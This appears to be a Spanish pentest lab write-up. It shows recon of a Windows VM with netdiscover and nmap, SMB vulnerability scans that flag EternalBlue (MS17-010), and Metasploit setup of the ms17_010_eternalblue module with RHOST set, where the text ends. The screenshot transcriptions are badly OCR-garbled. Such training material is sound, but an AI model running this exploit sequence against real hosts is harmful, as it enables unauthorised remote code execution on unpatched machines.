1 Herramientas usadas por el Equipo Rojo — RedTeam, su andlisis y explotacion en el escenario
suministrado.

Como premisa se tiene, analizar la simulacién del escenario que se esta trabajando, se entiende

gue el equipo rojo debe identificar la causa que origina la fuga de la informacién en un pc de sistema
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operativo que lo comanda Windows. Como punto clave se explota una aplicacién vulnerable para
obtener acceso y se escala privilegios solo para demostrar que es posible que suceda una vulnerabilidad
a los directivos por medio de un usuario administrador.

En primera estancia, se detallan las herramientas usadas para llevar a cabo el objetivo,
adjuntando evidencia necesaria, exponiendo los pasos de un pentesting.

Las fases tipicas de un Pentesting, lo cual proporciona una estructura ldgica y profesional son:

Reconocimiento (Recopilacién de informacion)

Analisis de vulnerabilidades

Explotacion

Post-Explotacion

Reporte

RECONOCIMIENTO

En esta estancia, se buscé informacion preliminar sobre el sistema objetivo para identificar
posibles vectores de ataque. Sobre la maquina Kali Linux y la maquina objetivo estan en una misma red
conectadas usando el modo adaptador puente.

Se inicia el reconocimiento, procediendo a identificar los hosts activos en la red local para
determinar posibles objetivos para el analisis de seguridad. Para lograr esto, se utilizé la herramienta
netdiscover.

Herramienta Utilizada: netdiscover

Propdsito de la Herramienta: netdiscover es una herramienta que permite descubrir hosts activos
e inactivos en un segmento de red mediante el envio de peticiones ARP. Esto proporciona una visién
general de los dispositivos presentes en la red y sus direcciones MAC e IP.

Incidencia Inicial: Tras la instalacion de netdiscover, al ejecutar el comando sin privilegios de

administrador, el sistema reportd un error de permisos, como se evidencia a continuacion:
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vboxuser@Kali:~$ netdiscover

You must be root to run this.

Este mensaje indica que la herramienta netdiscover requiere privilegios de root para su ejecucién.

Solucién y Ejecucion Correcta: Para resolver este problema, se ejecutd la herramienta
netdiscover precedida del comando sudo, que permite la ejecucién de comandos con privilegios de
administrador. El comando ejecutado fue:

sudo netdiscover

Resultados Obtenidos: La ejecucién correcta de netdiscover proporcioné la siguiente informacion

sobre los dispositivos activos en la red:

llustracion 7 Uso del comando netdiscover

root@Kalk: fhome/vbaxuser

Currently scanning: 172.27.238.0/16 Screen View: Unique Hosts
76 Captured ARP Req/Rep packets, from 13 hosts. Total size: 4560
MAC Vendor

Intel Corporate

ARRIS Group, Inc.

PCS Systemtechnik GmbH
Samsung Electronics Co.,
Unknown vendor

Unknown vendor

ARRIS Group, Inc.
ARRIS Group, Inc.
ARRIS Group, Inc.
ARRIS Group, Inc.
ARRIS Group, Inc.
ARRIS Group, Inc.
ARRIS Group, Inc.

1
1
1
1
1
1
1
4
1
1
1
1
1

Fuente: Elaboracién propia.

Esta salida revela la presencia de varios dispositivos en la red. De particular interés es el host
con la direccidn IP 192.168.1.22, direccion MAC 08:00:27:92:80:c0 y fabricante PCS Systemtechnik
GmbH, el cual se identificé como la maquina Windows objetivo. Esta informacion es valiosa para las
siguientes fases del Pentesting, donde se procederd a escanear los servicios y buscar vulnerabilidades en
este host especifico.

Se realizd una validacién de la direccion IP de la maquina Windows objetivo para asegurar la

precisién de la informacién obtenida de forma pasiva mediante netdiscover. Se ejecutd el comando
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ipconfig en la maquina Windows objetivo, y la salida confirmé la direccién IPv4 como 192.168.1.22,

como se muestra en la siguiente imagen:

llustracion 8 Direccion IPv4 Windows 192.168.1.22

BX Administrador: C:\Windows\system32\cmd.exe o | & @

rio>ipconfig

cidn IP de Windows

F:fe9d:502dx11

BEB3-D289D7.

: medios desconectados

Fuente: Elaboracién propia.

Tras la identificacidn y validacion de la maquina Windows objetivo (192.168.1.22), se procedio a
un escaneo mas detallado de sus servicios utilizando Nmap.

Herramienta Utilizada: Nmap

Propdsito de la Herramienta: Nmap se empled para escanear el host objetivo y determinar los
servicios de red en ejecucidn, incluyendo la deteccidn de las versiones de los servicios, lo cual permite
identificar posibles vulnerabilidades especificas.

ESCANEO

Escaneo de puertos y deteccidn de versiones

Para identificar los servicios en ejecucion en la maquina Windows objetivo (192.168.1.22) y
determinar posibles vectores de ataque, se realizé un escaneo de puertos utilizando la herramienta
Nmap.

Se ejecuto el siguiente comando con privilegios de superusuario para obtener informacién
detallada sobre los puertos abiertos y las versiones de los servicios:

sudo nmap -sV 192.168.1.22
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Este escaneo proporciond la siguiente informacion:

llustracion 9 Escaneo Nmap

root@Kali: /home/vboxuser# sudo nmap -sV 192.168.1.22
Starting Nmap 7.80 ( https://nmap.org ) at 2025-85-04 01:14 -85
Nmap scan report for 192.168.1.22
Host is up (0.00062s latency).
Not shown: 988 closed ports
PORT STATE SERVICE VERSION
open Msrpc Microsoft Windows RPC
open netbios-ssn Microsoft Windows netbios-ssn
open microsoft-ds Microsoft Windows 7 - 10 microsoft-ds (workgroup: WORKGROUP)
open rtsp?
open http Microsoft HTTPAPI httpd 2.8 (SSDP/UPnP)
5357/tcp open http Microsoft HTTPAPI httpd 2.8 (SSDP/UPnP)
10243 /tcp open http Microsoft HTTPAPI httpd 2.8 (SSDP/UPnP)
49152 /tcp open msrpc Microsoft Windows RPC
49153 /tcp open msrpc Microsoft Windows RPC
49154/tcp open msrpc Microsoft Windows RPC
49155/tcp open msrpc Microsoft Windows RPC
49156/tcp open msrpc Microsoft Windows RPC
MAC Address: ©8:00:27:92 (Oracle VirtualBox virtual NIC)
Service Info: Host: PC202006; 05: Windows; CPE: cpe:/o:microsoft:windows

Service detection performed. Please report any incorrect results at https://nmap.org/submit/

Nmap done: 1 IP address (1 host up) scanned in 128.75 seconds
root@Kali: fhome/vboxuser# ||

Fuente: Elaboracién propia.

Los resultados del escaneo revelan los siguientes servicios en ejecucién en la maquina objetivo:

Microsoft Windows RPC (puerto 135, 49152-49156): Este servicio es utilizado para la
comunicacion entre programas en un entorno Windows. Las vulnerabilidades en RPC podrian permitir la
ejecucion remota de cddigo.

Microsoft Windows netbios-ssn (puerto 139): Este servicio se utiliza para compartir archivos e
impresoras. Vulnerabilidades en NetBIOS pueden permitir el acceso no autorizado a recursos
compartidos.

Microsoft-ds (puerto 445): Este es el servicio de Microsoft Directory Services, también utilizado
para compartir archivos e impresoras (SMB). Es un objetivo comun para los atacantes.

Microsoft HTTPAPI httpd 2.0 (puertos 2869, 5357, 10243): Este es un servidor web. Las versiones
especificas deben investigarse para conocer posibles vulnerabilidades.

Esta informacidn sera utilizada para la siguiente fase del analisis, que consiste en la identificacion

y explotacién de vulnerabilidades.



Luego de esto, se realizd un escaneo mas avanzado para obtener informacién adicional sobre el

sistema operativo, la configuracién de red y otras caracteristicas del host. Se utilizé el comando:

sudo nmap -A 192.168.1.22

llustracion 10 Escaneo nmap -A

Fuente: Elaboracién propia.

llustracion 11 Escaneo nmap -A (continuacion)

nmap.org/submit/

Fuente: Elaboracién propia.
Este escaneo avanzado proporciond la siguiente informacion adicional:
Sistema Operativo: nmap determind que el sistema operativo de la maquina objetivo es

Microsoft Windows 7/2008|8.1, con mayor detalle especificando Microsoft Windows 7 SPO - SP1,

38
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Windows Server 2008 SP1, Windows Server 2008 R2, Windows 8, o Windows 8.1 Update 1. Esta
informacién es crucial para buscar vulnerabilidades especificas del sistema operativo.

Detalles HTTP: Los servicios HTTP en los puertos 2869, 5357 y 10243 utilizan Microsoft-
HTTPAPI/2.0. Ademas, se observo que los titulos de estos servicios son "Service Unavailable" y "Not
Found", lo que podria indicar problemas de configuracién o aplicaciones web en ejecucidn.

Configuracidon SMB: Se identificé informacidn relevante sobre el protocolo SMB (Server Message
Block):

Se permite el acceso con la cuenta de invitado (account_used: guest).

El cifrado de mensajes estd deshabilitado (message_signing: disabled), lo que representa un

riesgo de seguridad ya que las comunicaciones SMB pueden ser interceptadas y modificadas.

Ruta de red: La maquina objetivo se encuentra a un salto de distancia, lo que indica que esta en la
misma red local.

Toda esta informacion es crucial para comprender el perfil de seguridad de la maquina objetivo e
identificar posibles vulnerabilidades explotables. En particular, la informacién sobre el sistema operativo
Windows y la configuracién de SMB seran prioritarias en la siguiente fase de andlisis de vulnerabilidades.

Basandonos en los resultados del escaneo, se pueden identificar las siguientes areas como
posibles vectores de ataque:

Microsoft Windows 7/2008|8.1: Se buscaran vulnerabilidades conocidas para estas versiones de
Windows, especialmente aquellas que permitan la escalacion de privilegios.

Microsoft HTTPAPI httpd 2.0: Se investigaran las vulnerabilidades conocidas para esta version del
servidor web. Los mensajes de "Service Unavailable" y "Not Found" podrian indicar problemas de

configuracion que podrian ser explotables.
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SMB sin cifrado de mensajes: La falta de cifrado en las comunicaciones SMB (puertos 139 y 445)
permite a un atacante en la misma red capturar y modificar el trafico, lo que podria llevar al robo de
credenciales o la ejecucidn de cédigo remoto.

El siguiente paso serd realizar una investigacion mas profunda sobre estas posibles
vulnerabilidades y determinar la mejor manera de explotarlas para lograr los objetivos del pentesting,
gue incluyen la escalacidn de privilegios y la creacidon de un usuario administrador como prueba de
concepto.

Deteccion de vulnerabilidades SMB

Dado que el escaneo previo revelé una configuracién insegura en el protocolo SMB (cifrado de
mensajes deshabilitado), se realizé una busqueda especifica de vulnerabilidades SMB utilizando los
scripts de nmap. El comando ejecutado fue:

sudo nmap --script smb-vuin* 192.168.1.22

llustracion 12 Deteccidn de vulnerabilidades

cp open

MAC Address:




Fuente: Elaboracion propia.

Dado que el escaneo previo reveld una configuracidn insegura en el protocolo SMB (cifrado de
mensajes deshabilitado), se realizé una busqueda especifica de vulnerabilidades SMB utilizando los
scripts de nmap. Para obtener informacidn detallada sobre los errores de ejecucion de los scripts, se
ejecutd el siguiente comando con la opcion de debug (-d):

sudo nmap --script smb-vuln* -d 192.168.1.22

lustracion 13 Busqueda de Vulnerabilidades 1

‘oot@Kali: /home/vboxuser# sudo nmap --script smb-wuln® -0 192.168.1.22

starting Mmap 7.88 ( https://nmap.org ) at 2625-85-84 62:25 -85

[PoRTS: Using loo 1000 ports found open (TCP:109, UDP:@, SCTP:@)
Tining report --

hostgroups: min 1, max 1

rtt-timcouts: init 1000, min 106, max 10060

max-scan-delay: TCP 1008, UDP 1008, SCTP 1806

parallelism: min 0, max &

max-retries: 18, host-timeout: 8

min-rate: @, max-rat

Using Lua 5.3.
bse: Arguments from cLI

MSE: Loaded 11 scripts for scanning.

MSE: Script Pre-scanning

bis: starting runlevel 1 (of 1) scan.

Initiating NSE at 82:25

onpleted NSE at 82:25, 8.68s elapsed

initiating ARP Ping Scan at 82:25

[scanning 192.168.1.22 [1 port]

Packet capture filter (device enp8s3): arp and arp[18:4] = 8xB88827F7 and arp[22:2] = @xEEE3
completed ARP Ping Scan at ©2:25, ©.84s elapsed (1 total hosts)

overall sending retes: 24.61 packets / 3, 1833.41 bytes [ 3.
rass_rdns: Using DNS server 127.8.8.53

Initiating Parallel ONS resolution of 1 host. at 2:25

Jross_rdns: 6.84s 8/1 [#: 1, OK: ©, NX: 8, DR: 8, 5F: @, TR: 1]
onpleted Parallel ONS resolution of 1 host. at 82:25, 0.84s elapsed
s resolution of 1 IPs took 0.84s. Mode: Async [#: 1, OK: @, NX: 1,
Initiating SYN Stealth Scan at 82:25

scanning 192.168.1.22 [100@ ports]

Packet capture filter (device enpdsd): dst host 192.168.1.21 and (icmp or icmpé or ((tcp or udp or sctp) and (src host 192.168.1.22)))
piscovered open port 554/tcp on 192.168.1.22

piscovered open port 135/tcp on 192.168
Piscovered open port 139/tcp on 192.168.1.22
piscovered open port 445/tcp on 192.168.1.
piscovered open port 10243/tcp on 192.168.1.
piscovered open port 49153/tcp on 192.168.1.
piscovered open port 49156/tcp on 192.168.1.
biscovered open port 49154/tcp on 192.168.1.
piscovered open port 49152/tcp on 192.168.1
piscovered open port 5357/tcp on 192.168.1.
piscovered open port 2869/tcp on 192.168.1.22
Piscovered open port 49155/tcp on 192.168.1.22

ompleted SYN Stealth Scan at 82:25, 1.16s elapsed (1868 total ports)
overall sending rates: 858.99 packets / s, 37795.46 bytes / s.

ISE: Script scanning 192.168.1.22

psE: starting runlevel 1 (of 1) scan.

Initiating NSE at 82:25

tacting smb-vuln-wehexec aoainst 192.168.1.22:130

@, SF: @, TR: 1, CN: @]

Fuente: Elaboracién propia.

llustracion 14 Busqueda de Vulnerabilidades 2

SE: Starting smb-vuln-webexec sgainst 192.168.1.22:139.
E: Starting smb-vuln-ns86-025 against 192.168.1.22.

SE: Starting smb-vuln-ms17-810 against 192.168.1.22.

SE: Starting smb-vuln-regsvc-dos against 192.168.1.22.
SE: Starting smb-vuln-Cve2009-3103 against 192.168.1.22.
SE: Starting smb-vuln-ms10-061 against 192.168.1.22.
SE: Starting smb-vuln-
SE: Starting smb-vuln-ms18-854 against 192.168.1.22.
E: [smb-vuln-ns18-854 192.168.1.22] You must specify unsafe script
SE: Finished smb-vuln-ms18-054 against 192.166.1.22
3

E.

rgument to run this script.

: Starting smb-vuln-webexec ogainst 192.168.1.22:445.

: Starting smb-vuln-conficker against 192.168.1.22.

SE: Starting smb-vuln-ms87-829 against 192.168.1.22.

SE: Starting sab-vuln-cve-2017-7494 sgainst 192.168.1.22.

SE: [smb-vuln-cve2009-3103 192.168.1.22] Waiting 5 seconds to see {f Windows crashed

SE: [smb-vuln-webexec 192.168.1.22:139] SMB: Added account ' to account list

-168.1.22:139] SAB: Added sccount ‘guest’ to account list

SE: smb-vuln-webexec against 192.168.1.22:139 threw an error

usr/bin/ .. /share/nmap/nselib/smbauth. lua:377: OpenSSL error s0856264 1n digital envelope routines: function (null): unsupported

tack traceback:

[C]: in function "openssl.encrypt

Jusr /bin/ .. /share/nmap/nselib/smbauth. lua: 37T: in upvalue ‘ln_create_hash'

Jusr/bin/ .. /share/nmap/nselib/smbauth.lua:652: in function 'smbauth.get_passward_response’

fusr/bin/..[share/nnap/nselib/smbauth. ua: 77S: in function ‘smbauth.get_security_blob®

jusr/bin/ .. /share/nmap/nselib/smb.lua:1360: in upvalue 'start_session_extended’

fuse/bin/ .. /share/nmap/nselib/smb. lua:1565: in function ‘smb.start_session’

Jusr/bin/ .. /share/nmap/nselib/smb.lua:380: in function 'smb.start_ex’

(-..tail calls.

fusr.'b\nl .'share]manlscrmts,tsnh vuln-webexec. nse: 7
.tail calls

: in function </usr/bin/.. 'scripts/snb-wul .nse:sz>

SE: smb-vuln-msB6-825 against 192.168.1.22 threw an error!
usr/bin/. . /share/naap/nselib/sabauth. lua: 377: OpensSL error 50856204 Ln digital envelope routines: function (null): unsupported

[C]: in function "openssl.encrypt
jusr/bin/ .. /share/nmap/nselib/smbauth. lua: 377:
fuse/binf .. [share/nmap/nselib/smbauth.lua:652: in function 'smhauth.get_passward_response”
Jusr/bin/ .. /share/nmap/nselib/smbauth.lua: 775: in function "smbauth.get_security_blob’

Jusr/bin/../share/nmap/nselib/smb. lua: in upvalue 'start_session_extended’

jusr/bin/. . fshare/nmap/nselib/smb.lua:1565: in function 'smb.start_session

Jusr/bin/ . . share/nmap/nselib/smb. lua:388: in Function 'smb.start_ex'

(...tall calls...)

Jusr/bin/ . . /share/nmap scripts/smb-vuln-ms06-825.nse:B2: in global 'check_msB6_825

Jusr{bin/ .. /share/nmap/scripts/smb-vuln-ns86-825.nse:144: in function </usr/bin/../share/nmap/scripts/sab-vuln-nses-825.nse:122>
(...tall calls...)

in upvalue 'ln_create_hash'




Fuente: Elaboracion propia.

llustracion 15 Busqueda de Vulnerabilidades 3

wuln-ms17-816 against 192.168.1.22 th

an error!

fstack tr
[c] T functton *openssl.encrypt’
fuse[bin/.. {share/omap/nselib/smbouth. luai377: in upvalue ‘ln_create_hash’
Jusr/bin/.. /share/nmap/nselib/smbauth. lua:652: in function 'smbauth.get_password_response”
,'u-.r.vntn_t.,fgmrefmafn-.eunjyunm Lumi77s: An functlen sebauth.get_security blob®
/- share rmap/nsel ib/snb : in upualue 'start_session_ext
Jshare/nmap/nselib/snb. b In famctim ‘o xear pematiae’
[share nnap/nselib/snb. Lua:388: unction ‘smb.
/share /nmap/scripts/smb-vuln-ns17-010.nse:87: in pachi-sg "check_ns17a1s

C...tail (llh
vuln-regsve-dos against 192.168.1.22 threw an error!

Jstack t

[r.] in function 'openssl.encrypt’
. . /sharefnmapfnselib/snbouth. Lua:377: in upvalue *In_create_hash’
/share/nmap/nselib/sabauth. lua:652: in function 'smbauth.get_password_response
: in function ‘smbauth. gzt_murtt, blob"
in upvalue ‘start_session_extended”
1 & . “L‘\M'
Taharefomapfnscliofsnb. lva: 380 in Tunciion 'smb. :t.n ex'
(...tall calls...)

(.. .tail ulls -3

NSE: sb-vuln-ms10-861 sgainst 192.168.1.22 threw an error!

fstack traceback:

: in upvalue ‘ln_create_hash’

‘start_session_basic’
snb.start_scssion’
388: in function 'smb.start_ex’

0"
scripts/smb-vul .nse:183: in function </usr/bin/../share/nnap/scripts/smb-wuln-ns17-

st :
usrl’b\nf I!hlfe.'mn,'nse“bfutoulh lua:377: OpenSSL error 50856204 in digital envelope routines: function (null): unsupported

pese:
u!rfb\.n;‘ Ilhlre,'mo]nlel\b}l&nlh lua:377: OpenSSL error 50856204 in digital envelope routines: function (null): unsupported

fusrfbing. fshard'lnlnfs«(rwts]sm-vuln el +dos.nse168: in globsl check winreg Enun_crash
fusribing. Tn Function </usr /bin] . fanare/mmap/scripts/snb-vuln- regsve-dos .nse: 98>

sr/bin/. . fshare/nmap/nselib/snbauth. lua: 377: OpenSSL error 50856204 in digital envelope routines: function (null): unsupported

=)
fusr.’lﬂn.‘ f:herefmafurlpulvh vuln-ns18-061.nse:93: in function </usr/bin/..
tail calls,

snb-vuln-ms8B-867 against 192.168.1.22 threw an error

stack traceback:
L [€]: in function openssl.encrypt’

Fuente: Elaboracién propia.

llustracion 16 Busqueda de Vulnerabilidades 4

[C]: in function 'openssl.encrypt’

Juse/bin/ .. [share/nmap/nselib/smbouth. lua:377: in upvalue ‘lm_create_hash’

Juse/bin/. . [share/nnap/nselib/sabsuth. lua:652: in function 'smbauth.get_password_response’

Juse/bin/ . [share/nmap/nselib/smbouth. lua:775: in function ‘smbouth.get_security_blob'

Juse/bin/ . share/nnap/nselib/sab. Lus: .

Tuseibin/ . Jshare/nnap/nselib/snb. lua:

Juse/bin/. . [share/nnap/nselib/sab. lua:380: in function 'smb.start_ex’
-tail calls. ..

Jusr [bin/. . [share/anap/scripts/snb-vuln-nsBB-067.nse:82: in globsl

{...tall calls..

puse n-webexec spalnst 192.168.1.22:445 threw an errort
u-.r.'u\nf fsh-re.'-nmuuwy-bwm Llua:377: OpenSSL error 58856284 in digital envelope routines:
|srack traceback:
[C]: in function "openssl.encrypt’
Jusr/bin/. . /share/nnap/nselib/sabauth. lua:377: in upvalue 'ln_create_hash’
Jusr/bin/ . . Jshare/nmap/nselib/smbauth. lua:652: in function 'smbauth.get_password_response’
Jusrbin/. . /share/nnap/nselib/sabauth. lua:775: in function 'smbauth.get_security_blob’
Juse bin/. . /share/nnap/nselib/smb. lus: t_session_extended
Jusrbin/ .. share/nmap/nselib/smb. lua: 156! smb.3tart_session’
Iusrfbln.l hhnrefmn.'nuuh,'vo Toniam: \n Fomceion " mbrinere oe:

- tail calls..
smb-vuln-conficker against 192.168.1.22 threw an error!

|stack traceback:
[c]: in function 'openssl.encrypt’
Jusr/bin/. . /shore/nmap/nsclib/smbouth. lua:377: in upvalue ‘Um_creste_hash’
Jusr/bin/. . /share/nmap/nselib/smbauth. lua:652: in function ‘smbauth. oel.._pln-nrd response’
Jusr/bin/. . /share/nmap/nselib/smb. lua:1161: in upvalue ‘start_session_basic’
Jusr/bin/. . /share/nmap/nselib/smb. lua:1567: in function "smb.start, uu\oﬁ
{u!rlbt;lrA{:Mrelmw.'nullhli-h <lua:388: in function "smb.start_ex'
...tail calls

e/nmap/scripts/smb-vuln-conficker .nse:118: in global ‘check_conficker"
j'usrfbln,l {share/onap/scripes/snb-vuln-conflcker.nce: 178: i functisn <fesrbia)..

Iulrfbln.' fih.reflﬂplurlptl,’llt -vuln-webexec.nse:76: in function </usr/bin/../share/nmap/scripts/smb-vuln-webexec.

pse
uerM.nI ./share/nmap/nselib/snbauth.lua:377: OpenSSL error 58856284 in digital envelope routines:

18.nse: 161>

ipts/snb-vul -nSeI6S>

usr [bin/. . /share/mmap/nselib/snbauth. lua: 377: OpenSSL error 50856204 in digitsl envelope routines: function (null): unsupported

function (null): unsupported

function (mull): unsupported

--tail ealls. .
: sab-vuln-ms67-829 against 192.168.1.22 threw an error!

[stack traceback:
[C]: in function 'openssl.encrypt’
Juse/bin/ .. [share/nmap/nselib/smbouth. Lua:377: in upvalue 'lm_create_hash’
Juse [bin/. . [share/anap/nselib/sabauth. Lua:652: in function ’smbauth.get_password_response’

Fuente: Elaboracién propia.

llustracion 17 Busqueda de Vulnerabilidades 5

pse
usr.‘n\nl ./share/nmap/nselib/snbauth.lua:377: OpenSSL error 50856204 in digital envelope routines:

Jecripte famb-wl Fick

function (null): unsupported

“check_msi
Jusr/bing. Ilharel'-an.'ufib!!ls-b vuln-ms88-867.nse:138: in function t.'u!rfbin.’ hhorn’l-oplsclintshﬂb vuln-ms88-867.n3e: 117>

nse:52>

.nse:15z>

42
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wsr /bin, / [share/rmap/nselib/cmbauth Lua:175: in function "sebouth.get_secur ity blos
1368: nded

Lpts/snb-vuln-nsa?-829.n5e:78: L global *che

917-7438 agalnat 192.168.1.22 threw an error!
map/nselib/smbauth. Lua: 377; OpenSSL error Seasazed in digital envelope routines: function (null): unsupported

manfnsdm,‘sm lua: jjji in func

wap/scr ipts /snb-vuln-eve-2017- 74 -Ishare/nmepfseripts sab-vuln-cve-2017-7494. nse 418

tail calls...)

ln-cve2009-3103 192.168.1.22] Attepting to connect to the host

wis ve2009.3103 192.168.1.22] Attempting to send data to the host
uln-coe2008-3100 192.148.1.22] Checks fmlshed; host s Likely not velnersble
- st 192.168.1.22.

post 1= up, received orp-response (8888715 Latency)
ned ¢ 20250504 63-25.51

biot shown: 988 closed ports

reason: 988 resets

fporT STATE SERVICE REASON

135/tcp  open msr syn-ack tel 128
open n ck ttl 128

open s tel 128

open syn-ack ttl 128

open 2 syn-ack ttl 128

open syn-ack ttl 128

open " s 1 128
Lis1s2/tcp open syn-ack ttl 128
open tel 128

open el 128

sro-ack 411 128

9156/ tep DG ek ttl 12S

AC Adroser 60:00127792:00:C8 (oracte VirtuslBox virtusl NIC)

Fuente: Elaboracién propia.

llustracion 18 Busqueda de Vulnerabilidades 6

C Address: 08:00:27:92:86:C8 (Oracle VirtualBox virtual NIC)
st script results:
|_smb-vuln-ns18-854: false
Final times for host: srtt: 768 rttvar: 124 to: 100000
SE: Script Post-scanning.
SE: Starting runlevel 1 (of 1) scan.
Initiating NSE at 02:25
ompleted NSE at 82:25, 0.00s elapsed
lead from Jusr/bin/../share/nmap: nmap-mac-prefixes nmap-payloads nmap-services
ap done: 1 IP address (1 host up) scanned in 6.83 seconds
Raw packets sent: 1001 (44.028kB) | Rcvd: 1801 (48.076KB)
root@kali: fhome/vboxuser# [l

Fuente: Elaboracién propia.

Durante la fase de escaneo de vulnerabilidades SMB con nmap, se encontraron dificultades
significativas que impidieron la correcta ejecucién de los scripts de deteccion. Los errores persistentes,
especialmente el error de OpenSSL al intentar detectar la vulnerabilidad EternalBlue (MS17-010),
sugirieron un problema subyacente que no se resolvié con la actualizacién del sistema.

Ante esta situacion, se tomd la decisidon de cambiar la maquina Kali Linux utilizada para el
pentesting. Se hipotetizd que el problema podria estar relacionado con una configuracién especifica o
una inconsistencia en las dependencias de la maquina anterior.

La nueva maquina Kali Linux se configurd con las siguientes caracteristicas:



llustracion 19 Nueva mdquina Kali Linux Caracteristicas

Detalles

1000 Mby's
192.168.1.31
2800:e2:2000:d51:f42e:9bdF;193:df8d
08:00:27:CB:E8:0F
192.168.1.254
190.248.0.7 190.240.115.146
Fuente: Elaboracién propia.
Direccion IPv4: 192.168.1.31
Direccion MAC: 08:00:27:C8:E8:0F
Nuevo escaneo de la red con netdiscover
Para confirmar la conectividad y la presencia de los hosts en la red desde la nueva maquina Kali
Linux, se utilizd la herramienta netdiscover. El comando ejecutado fue:

sudo netdiscover

llustracion 20 Escaneo Nueva MV netdiscover

Currently scanning: 172.16.159.6/16 | Screen View: Unique Hosts

91 Captured ARP Req/Rep packets, from 12 hosts. Total size: 5468

Intel Corporate
Unknown vendor
Unknown vendor
PCS Systemtechnik GabH
Unknown vendor
ARRIS Group, Inc.
ARRIS Group, Inc.
ARRIS Group, Inc.
Group, Inc.
Group, Inc.
Group, Inc.
5 Group, Inc.

O N 0D
YR Y

Y

Fuente: Elaboracién propia.
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El resultado de netdiscover confirmo la presencia de la maquina Windows objetivo (192.168.1.22)
en la red, junto con otros hosts. Esto asegurd que la nueva maquina Kali Linux podia comunicarse con el
objetivo antes de proceder con escaneos mas intrusivos.

Nuevo intento de deteccién de vulnerabilidades SMB

Tras confirmar la conectividad, se intenté huevamente el escaneo de vulnerabilidades SMB con
nmap, especificamente el script para detectar EternalBlue:

sudo nmap -d -p 139,445 --script smb-vuln-ms17-010 192.168.1.22

llustracion 21 Deteccion de vulnerabilidades SMB

.1.31 and (icmp or i or udp or sc

Fuente: Elaboracién propia.

Esta imagen muestra la ejecucion del comando sudo nmap -d -p 139,445 --script smb-vuln-ms17-
010 192.168.1.22 en la nueva maquina Kali Linux. Se esta intentando nuevamente escanear la
vulnerabilidad EternalBlue (MS17-010) con la opcidn de debug (-d) para obtener mas detalles.

Puntos clave de la salida:

Nmap scan report for 192.168.1.22: Indica que Nmap estad escaneando la maquina objetivo.
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Discovered open port 139/tcp on 192.168.1.22 y Discovered open port 445/tcp on 192.168.1.22:
Confirma que los puertos SMB (139 y 445) estan abiertos en la maquina objetivo. Esto es necesario para
que el script de EternalBlue funcione.

La salida de Nmap confirmd que los puertos SMB (139 y 445) estan abiertos en la maquina

objetivo, lo cual es un requisito previo para intentar detectar la vulnerabilidad EternalBlue.

llustracion 22 Deteccion de vulnerabilidades SMB (continuacion imagen con resultados)

Fuente: Elaboracién propia.

El escaneo reveld que la maquina Windows objetivo (192.168.1.22) es vulnerable a la
vulnerabilidad de ejecucién remota de cddigo EternalBlue (MS17-010). Este resultado es significativo, ya
gue EternalBlue es una vulnerabilidad critica que permite a un atacante ejecutar cédigo arbitrario en el
sistema objetivo. EI CVE asociado a esta vulnerabilidad es CVE-2017-0143.

Este hallazgo confirma la presencia de una seria debilidad de seguridad en el sistema objetivo,

gue podria ser explotada para obtener acceso no autorizado y control sobre la maquina.

llustracion 23 Deteccion de vulnerabilidades SMB (continuacion imagen con resultados)
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MBv1 servers (ms

Fuente: Elaboracién propia.

La vulnerabilidad EternalBlue (MS17-010) (CVEdetails, 2025), se clasifica como de alto riesgo y
permite la ejecucidon remota de cédigo, lo que significa que un atacante podria ejecutar comandos
arbitrarios en la maquina objetivo y tomar el control del sistema. Esta vulnerabilidad afecta a los
servidores Microsoft SMBv1.

La vulnerabilidad fue divulgada el 14 de marzo de 2017, lo que significa que ha estado presente
durante algun tiempo y que existen parches disponibles para corregirla (Microsoft Learn, 2024). El
siguiente paso légico es intentar explotar la vulnerabilidad EternalBlue para obtener acceso a la maquina
Windows objetivo. Se utilizara Metasploit Framework para intentar explotar esta vulnerabilidad.

EXPLOTACION

Dado que la fase de escaneo reveld que la maquina Windows objetivo es sensible a la
vulnerabilidad de ejecucién remota de codigo EternalBlue (MS17-010), el siguiente paso es intentar

explotar esta vulnerabilidad para obtener acceso al sistema. Se utilizard Metasploit Framework, una

1 CVEdetails. (10 de febrero de 2025). CVE-2017-0144 : The smbv1 server in microsoft windows vista SP2; windows
server 2008 SP2 and R2. Recuperado de https://www.cvedetails.com/cve/CVE-2017-0144/

2 Microsoft Learn. (18 de marzo de 2024). Boletin de seguridad de Microsoft MS17-010: Critico. Recuperado de
https://learn.microsoft.com/es-es/security-updates/securitybulletins/2017/ms17-010
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herramienta ampliamente utilizada para el desarrollo y ejecucién de exploits, para intentar explotar
EternalBlue.

Inicio de Metasploit Framework

El primer paso es iniciar Metasploit Framework en Kali Linux. Esto se logra ejecutando el siguiente
comando en la terminal:

Msfconsole

llustracion 24 Uso de Herramienta Metasploit Framework

Fuente: Elaboracién propia.

Una vez que Metasploit Framework se ha iniciado, se busca el exploit adecuado para EternalBlue.
Esto se realiza utilizando el comando search seguido del término de busqueda "ms17-010":

search ms17-010

llustracion 25 busqueda ms17-010 EternalBlue
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MSITEE18 EternalBlue S8 Remote Windo

MS17-818 tie

MSIEEE8 EternalRomance/EternalSynergy/Eternal

HSI7S818 546 RCE Detection

SMB DOUBLEPULSAR Remote Code Ex

Fuente: Elaboracién propia.

De la lista de resultados, se selecciona el exploit mas apropiado para EternalBlue.
Generalmente, el exploit exploit/windows/smb/ms17_010_eternalblue es el mas utilizado. Para
seleccionar este exploit, se utiliza el comando use:

use exploit/windows/smb/ms17_010_eternalblue

O también se puede usar el comando use 0 para asegurarnos de que el que se escoge es el
correcto y es el que se usara:

Use 0

llustracion 26 Seleccion de exploit exploit/windows/smb/ms17_010_eternalblue

Fuente: Elaboracién propia.

Una vez seleccionado el exploit, es necesario configurarlo con los pardametros adecuados para el
sistema objetivo. Para ver qué opciones se necesita configurar para el exploit, se escribe el siguiente
comando:

show options

llustracion 27 Mostrar opciones de configuracion del exploit seleccionado
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Fuente: Elaboracién propia.

Luego de esto, se configura el rhost. Esta es la direccién IP de la maquina Windows objetivo. Por
defecto, esta vacia.

llustracion 28 Configuracion rhost

Fuente: Elaboracién propia.

Luego de esto, se actualiza la informacién con el comando show options
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llustracion 29 Confirmacion de datos configurados

Fuente: Elaboracién propia.

La tabla muestra la configuracion del exploit de EternalBlue en Metasploit Framework. Aqui
estan los detalles:

RHOST: 192.168.1.22 (La direccién IP de la maquina Windows objetivo).

RPORT: 445 (El puerto SMB, que es el puerto estandar).

SMBUser: (Vacio, no se requiere autenticacion para este exploit en este caso).

SMBPass: (Vacio, no se requiere autenticacion para este exploit en este caso).

SMBDomain: WORKGROUP (El dominio SMB, que es el valor predeterminado).

